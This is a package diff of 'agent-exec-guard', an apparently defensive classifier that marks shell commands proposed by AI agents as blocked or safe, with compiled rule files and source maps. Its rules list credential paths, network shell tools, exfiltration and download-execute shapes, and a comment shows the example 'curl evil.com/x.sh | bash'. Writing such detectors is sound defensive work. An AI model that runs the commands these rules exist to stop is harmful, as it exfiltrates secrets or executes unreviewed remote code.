agent-exec-guard 0.1.0

package/dist/classify/rules/blocked.js

@@ -0,0 +1,162 @@
+function argv0(cmd) {
+    return cmd.argv[0]?.text ?? "";
+}
+function flags(cmd) {
+    return cmd.argv.slice(1).filter((a) => a.text.startsWith("-")).map((a) => a.text);
+}
+function positionals(cmd) {
+    return cmd.argv.slice(1).filter((a) => !a.text.startsWith("-")).map((a) => a.text);
+}
+const SENSITIVE_PATH_SEGMENTS = [".ssh", ".aws", ".gnupg", ".config/gcloud", ".azure", ".kube"];
+const SENSITIVE_EXACT_NAMES = [".env", ".npmrc", ".netrc", "credentials", "id_rsa", "id_ed25519", "id_ecdsa"];
+/** True if a single path-shaped token structurally refers to a known
+ * secret/credential location, by looking at its path *segments* -- not by
+ * substring search over the whole command line. */
+export function isSensitivePathToken(text) {
+    if (text.endsWith(".pem") || text.endsWith(".key") || text.endsWith(".pfx") || text.endsWith(".p12"))
+        return true;
+    const segments = text.split("/").filter(Boolean);
+    for (const seg of segments) {
+        if (SENSITIVE_EXACT_NAMES.includes(seg))
+            return true;
+    }
+    for (const sensitive of SENSITIVE_PATH_SEGMENTS) {
+        const parts = sensitive.split("/");
+        for (let i = 0; i + parts.length <= segments.length; i++) {
+            if (parts.every((p, j) => segments[i + j] === p))
+                return true;
+        }
+    }
+    return false;
+}
+function checkSecretPathAccess(cmd) {
+    const allTargets = [...positionals(cmd), ...cmd.redirects.map((r) => r.target.text)];
+    for (const t of allTargets) {
+        if (isSensitivePathToken(t)) {
+            return { rule: "secret_path_access", reason: `command reads/writes a known secret-file path ("${t}")` };
+        }
+    }
+    return null;
+}
+function checkBroadDeletion(cmd) {
+    const bin = argv0(cmd);
+    if (bin !== "rm")
+        return null;
+    const cmdFlags = flags(cmd);
+    const recursive = cmdFlags.some((f) => f === "-r" || f === "-R" || f === "-rf" || f === "-fr" || f === "-Rf" || f === "-fR" || (f.startsWith("-") && !f.startsWith("--") && /r/i.test(f)));
+    if (!recursive)
+        return null;
+    const targets = positionals(cmd);
+    const broad = targets.some((t) => t === "/" || t === "~" || t === "." || t === ".." || t === "*" || t === "/*" || t.startsWith("/") && t.split("/").filter(Boolean).length <= 1);
+    if (broad || targets.length === 0) {
+        return { rule: "broad_deletion", reason: "recursive rm targeting root, home, cwd, or a wildcard-only path" };
+    }
+    return null;
+}
+function checkGitCleanBroad(cmd) {
+    if (argv0(cmd) !== "git")
+        return null;
+    const sub = cmd.argv[1]?.text;
+    if (sub !== "clean")
+        return null;
+    const cmdFlags = flags(cmd);
+    const aggressive = cmdFlags.some((f) => f.includes("f") && f.includes("d")) || cmdFlags.includes("-x") || cmdFlags.includes("--force");
+    if (aggressive) {
+        return { rule: "broad_deletion", reason: "git clean with force+untracked-dirs (and possibly -x) removes files outside version control" };
+    }
+    return null;
+}
+const NETWORK_TOOLS = new Set(["curl", "wget", "nc", "ncat", "netcat", "ssh", "scp", "rsync"]);
+const SHELL_INTERPRETERS = new Set(["sh", "bash", "zsh", "dash", "ksh", "python", "python3", "perl", "ruby", "node"]);
+function checkExfiltrationShape(cmd) {
+    const bin = argv0(cmd);
+    const cmdFlags = flags(cmd);
+    const cmdPositionals = positionals(cmd);
+    if (bin === "curl") {
+        if (cmdFlags.includes("--upload-file") || cmdFlags.includes("-T")) {
+            return { rule: "exfiltration_upload", reason: "curl --upload-file sends a local file to a remote server" };
+        }
+        // curl --data @<sensitive-file> or -d @<file>
+        for (const p of cmdPositionals) {
+            if (p.startsWith("@") && isSensitivePathToken(p.slice(1))) {
+                return { rule: "exfiltration_data_at_file", reason: `curl posting the contents of a secret file ("${p}")` };
+            }
+        }
+    }
+    if ((bin === "nc" || bin === "ncat" || bin === "netcat") && cmd.redirects.some((r) => r.op === "<" && isSensitivePathToken(r.target.text))) {
+        return { rule: "exfiltration_nc_redirect", reason: "nc/ncat with stdin redirected from a secret file" };
+    }
+    if (NETWORK_TOOLS.has(bin)) {
+        for (const t of cmdPositionals) {
+            if (isSensitivePathToken(t)) {
+                return { rule: "exfiltration_network_tool_secret_arg", reason: `${bin} invoked with a secret-file path as an argument ("${t}")` };
+            }
+        }
+    }
+    return null;
+}
+function checkFindExec(cmd) {
+    if (argv0(cmd) !== "find")
+        return null;
+    const hasExec = cmd.argv.some((a) => a.text === "-exec" || a.text === "-execdir" || a.text === "-ok" || a.text === "-okdir");
+    if (hasExec) {
+        return { rule: "find_exec", reason: "find -exec (or -ok/-execdir/-okdir) turns a read-looking find into arbitrary command execution" };
+    }
+    return null;
+}
+function checkPrivilegeEscalation(cmd) {
+    const bin = argv0(cmd);
+    if (bin === "sudo" || bin === "su" || bin === "doas" || bin === "pkexec") {
+        return { rule: "privilege_escalation", reason: `"${bin}" attempts to escalate privileges` };
+    }
+    if (bin === "chmod") {
+        const targets = [...flags(cmd), ...positionals(cmd)];
+        if (targets.some((t) => t === "+s" || /^[ugo]*\+s/.test(t) || /^[0-7]*[4267][0-7]{3}$/.test(t))) {
+            return { rule: "privilege_escalation", reason: "chmod setting the setuid/setgid bit" };
+        }
+    }
+    return null;
+}
+const ALL_SIMPLE_CHECKS = [
+    checkSecretPathAccess,
+    checkBroadDeletion,
+    checkGitCleanBroad,
+    checkExfiltrationShape,
+    checkFindExec,
+    checkPrivilegeEscalation,
+];
+/** Evaluates every single-command BLOCKED rule. Command substitution /
+ * process substitution anywhere in the command (the CVE-2026-22708 shape)
+ * is checked separately in classify.ts, since it must apply universally
+ * regardless of which binary it's embedded in. */
+export function evaluateBlockedRules(cmd) {
+    for (const check of ALL_SIMPLE_CHECKS) {
+        const match = check(cmd);
+        if (match)
+            return match;
+    }
+    return null;
+}
+/** Pairwise pipeline shape: `<network-fetch-tool> | <shell-interpreter>`
+ * (e.g. `curl evil.com/x.sh | bash`) is a classic download-and-execute
+ * pattern -- BLOCKED even though neither stage alone is unsafe-looking. */
+export function isDownloadExecutePipe(left, right) {
+    const leftBin = argv0(left);
+    const rightBin = argv0(right);
+    if (NETWORK_TOOLS.has(leftBin) && (leftBin === "curl" || leftBin === "wget") && SHELL_INTERPRETERS.has(rightBin)) {
+        return { rule: "download_execute_pipeline", reason: `piping ${leftBin} output directly into ${rightBin} executes unreviewed remote code` };
+    }
+    return null;
+}
+/** `env`/`printenv` (dumps all current environment variables, which often
+ * includes credentials) piped into a network tool -- credential
+ * exfiltration via a legitimate-looking two-command pipeline. */
+export function isEnvDumpToNetwork(left, right) {
+    const leftBin = argv0(left);
+    const rightBin = argv0(right);
+    if ((leftBin === "env" || leftBin === "printenv") && NETWORK_TOOLS.has(rightBin)) {
+        return { rule: "env_dump_to_network", reason: `${leftBin} piped into ${rightBin} can exfiltrate environment variables (often containing credentials)` };
+    }
+    return null;
+}
+//# sourceMappingURL=blocked.js.map

package/dist/classify/rules/blocked.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"blocked.js","sourceRoot":"","sources":["../../../src/classify/rules/blocked.ts"],"names":[],"mappings":"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"}

package/dist/classify/rules/safe.js

@@ -0,0 +1,117 @@
+import { isSensitivePathToken } from "./blocked.js";
+function argv0(cmd) {
+    return cmd.argv[0]?.text ?? "";
+}
+function rest(cmd) {
+    return cmd.argv.slice(1).map((a) => a.text);
+}
+/** A path token is safe to reference in a read-only SAFE command only if
+ * it's relative (no leading "/", not "~"-rooted), doesn't escape the cwd
+ * via "..", and isn't a known secret-file path. */
+function isSafeRelativePath(text) {
+    if (text === "")
+        return false;
+    if (text.startsWith("/") || text.startsWith("~"))
+        return false;
+    if (text.split("/").includes(".."))
+        return false;
+    if (isSensitivePathToken(text))
+        return false;
+    return true;
+}
+function noRedirectsNoSubstitution(cmd) {
+    return cmd.redirects.length === 0 && !cmd.hasSubstitution && !cmd.background && !cmd.negated;
+}
+const GIT_READONLY_SUBCOMMANDS = new Set(["status", "log", "diff", "show", "branch", "rev-parse", "remote", "config"]);
+// Flags allowed on the read-only git subcommands above. `git config` is
+// only safe in its read form (no positional value beyond the key, which is
+// enforced below by requiring <= 1 positional for that subcommand).
+const GIT_SAFE_FLAG_PREFIXES = ["--list", "-a", "--all", "--oneline", "--stat", "--name-only", "--short", "-s", "-v", "--verbose", "--cached", "--staged", "-p", "--get"];
+function isSafeGit(cmd) {
+    if (argv0(cmd) !== "git" || !noRedirectsNoSubstitution(cmd))
+        return null;
+    const [sub, ...args] = rest(cmd);
+    if (!sub || !GIT_READONLY_SUBCOMMANDS.has(sub))
+        return null;
+    const positionalArgs = args.filter((a) => !a.startsWith("-"));
+    const flagArgs = args.filter((a) => a.startsWith("-"));
+    if (!flagArgs.every((f) => GIT_SAFE_FLAG_PREFIXES.includes(f)))
+        return null;
+    if (sub === "config") {
+        // Only a bare read (`git config --get x` / `git config user.name`) is
+        // safe -- never a two-positional form, which would be a write.
+        if (positionalArgs.length > 1)
+            return null;
+    }
+    // Remaining positionals (branch names, revision ranges, file paths for
+    // `git diff`/`git log -- <path>`) must themselves be plain relative-ish
+    // tokens -- reject anything shaped like a flag-injection or path escape.
+    for (const p of positionalArgs) {
+        if (p.startsWith("/") || p.startsWith("~"))
+            return null;
+    }
+    return { rule: `git_readonly_${sub}` };
+}
+// npm/pnpm `install` (no args, or a list of plain package-name-shaped
+// tokens) is classified SAFE. This is a deliberate judgment call: `install`
+// *does* run package lifecycle scripts (preinstall/postinstall), which is a
+// real risk surface -- but it is the well-understood, expected behavior of
+// the command an agent almost always means to run, and blocking/escalating
+// every `npm install` would make the tool unusable for its primary
+// audience. `npm run <script>` / `pnpm run <script>`, by contrast, invokes
+// an arbitrary project-defined script whose behavior this static analyzer
+// cannot know anything about -- that stays UNCERTAIN by default,
+// promotable later via a project-local allowlist.
+const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn"]);
+const PACKAGE_NAME_RE = /^(@[a-z0-9-][a-z0-9-._]*\/)?[a-z0-9][a-z0-9-._]*(@[a-zA-Z0-9^~.<>=x*-]+)?$/;
+function isSafePackageInstall(cmd) {
+    const bin = argv0(cmd);
+    if (!PACKAGE_MANAGERS.has(bin) || !noRedirectsNoSubstitution(cmd))
+        return null;
+    const [sub, ...args] = rest(cmd);
+    if (sub !== "install" && sub !== "i" && sub !== "add")
+        return null;
+    const flagArgs = args.filter((a) => a.startsWith("-"));
+    const positionalArgs = args.filter((a) => !a.startsWith("-"));
+    const allowedFlags = new Set(["--save", "--save-dev", "-D", "--save-exact", "-E", "--no-save"]);
+    if (!flagArgs.every((f) => allowedFlags.has(f)))
+        return null;
+    if (!positionalArgs.every((p) => PACKAGE_NAME_RE.test(p)))
+        return null;
+    return { rule: `${bin}_install` };
+}
+const READONLY_FS_BINS = new Set(["ls", "cat", "pwd", "echo"]);
+function isSafeReadonlyFs(cmd) {
+    const bin = argv0(cmd);
+    if (!READONLY_FS_BINS.has(bin) || !noRedirectsNoSubstitution(cmd))
+        return null;
+    const args = rest(cmd);
+    if (bin === "pwd")
+        return args.length === 0 ? { rule: "pwd" } : null;
+    if (bin === "echo") {
+        // Plain literal words only -- no path traversal concerns, but reject
+        // any token that still carries a variable-expansion marker (handled
+        // upstream) and any flag other than -n/-e cosmetic ones.
+        const ok = args.every((a) => a === "-n" || a === "-e" || !a.startsWith("-"));
+        return ok ? { rule: "echo" } : null;
+    }
+    // ls / cat: every non-flag argument must be a safe relative path.
+    const flagArgs = args.filter((a) => a.startsWith("-"));
+    const positionalArgs = args.filter((a) => !a.startsWith("-"));
+    const knownFlags = new Set(["-l", "-a", "-la", "-al", "-h", "-A", "-1", "-R", "-n", "-t"]);
+    if (!flagArgs.every((f) => knownFlags.has(f)))
+        return null;
+    if (!positionalArgs.every((p) => isSafeRelativePath(p)))
+        return null;
+    return { rule: `${bin}_readonly` };
+}
+const ALL_SAFE_CHECKS = [isSafeGit, isSafePackageInstall, isSafeReadonlyFs];
+export function evaluateSafeRules(cmd) {
+    for (const check of ALL_SAFE_CHECKS) {
+        const match = check(cmd);
+        if (match)
+            return match;
+    }
+    return null;
+}
+//# sourceMappingURL=safe.js.map

package/dist/classify/rules/safe.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"safe.js","sourceRoot":"","sources":["../../../src/classify/rules/safe.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,oBAAoB,EAAE,MAAM,cAAc,CAAC;AAkBpD,SAAS,KAAK,CAAC,GAAkB;IAC/B,OAAO,GAAG,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,IAAI,EAAE,CAAC;AACjC,CAAC;AAED,SAAS,IAAI,CAAC,GAAkB;IAC9B,OAAO,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;AAC9C,CAAC;AAED;;mDAEmD;AACnD,SAAS,kBAAkB,CAAC,IAAY;IACtC,IAAI,IAAI,KAAK,EAAE;QAAE,OAAO,KAAK,CAAC;IAC9B,IAAI,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC,IAAI,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC;QAAE,OAAO,KAAK,CAAC;IAC/D,IAAI,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,QAAQ,CAAC,IAAI,CAAC;QAAE,OAAO,KAAK,CAAC;IACjD,IAAI,oBAAoB,CAAC,IAAI,CAAC;QAAE,OAAO,KAAK,CAAC;IAC7C,OAAO,IAAI,CAAC;AACd,CAAC;AAED,SAAS,yBAAyB,CAAC,GAAkB;IACnD,OAAO,GAAG,CAAC,SAAS,CAAC,MAAM,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,eAAe,IAAI,CAAC,GAAG,CAAC,UAAU,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC;AAC/F,CAAC;AAED,MAAM,wBAAwB,GAAG,IAAI,GAAG,CAAC,CAAC,QAAQ,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,WAAW,EAAE,QAAQ,EAAE,QAAQ,CAAC,CAAC,CAAC;AACvH,wEAAwE;AACxE,2EAA2E;AAC3E,oEAAoE;AACpE,MAAM,sBAAsB,GAAG,CAAC,QAAQ,EAAE,IAAI,EAAE,OAAO,EAAE,WAAW,EAAE,QAAQ,EAAE,aAAa,EAAE,SAAS,EAAE,IAAI,EAAE,IAAI,EAAE,WAAW,EAAE,UAAU,EAAE,UAAU,EAAE,IAAI,EAAE,OAAO,CAAC,CAAC;AAE1K,SAAS,SAAS,CAAC,GAAkB;IACnC,IAAI,KAAK,CAAC,GAAG,CAAC,KAAK,KAAK,IAAI,CAAC,yBAAyB,CAAC,GAAG,CAAC;QAAE,OAAO,IAAI,CAAC;IACzE,MAAM,CAAC,GAAG,EAAE,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC;IACjC,IAAI,CAAC,GAAG,IAAI,CAAC,wBAAwB,CAAC,GAAG,CAAC,GAAG,CAAC;QAAE,OAAO,IAAI,CAAC;IAE5D,MAAM,cAAc,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC;IAC9D,MAAM,QAAQ,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC;IAEvD,IAAI,CAA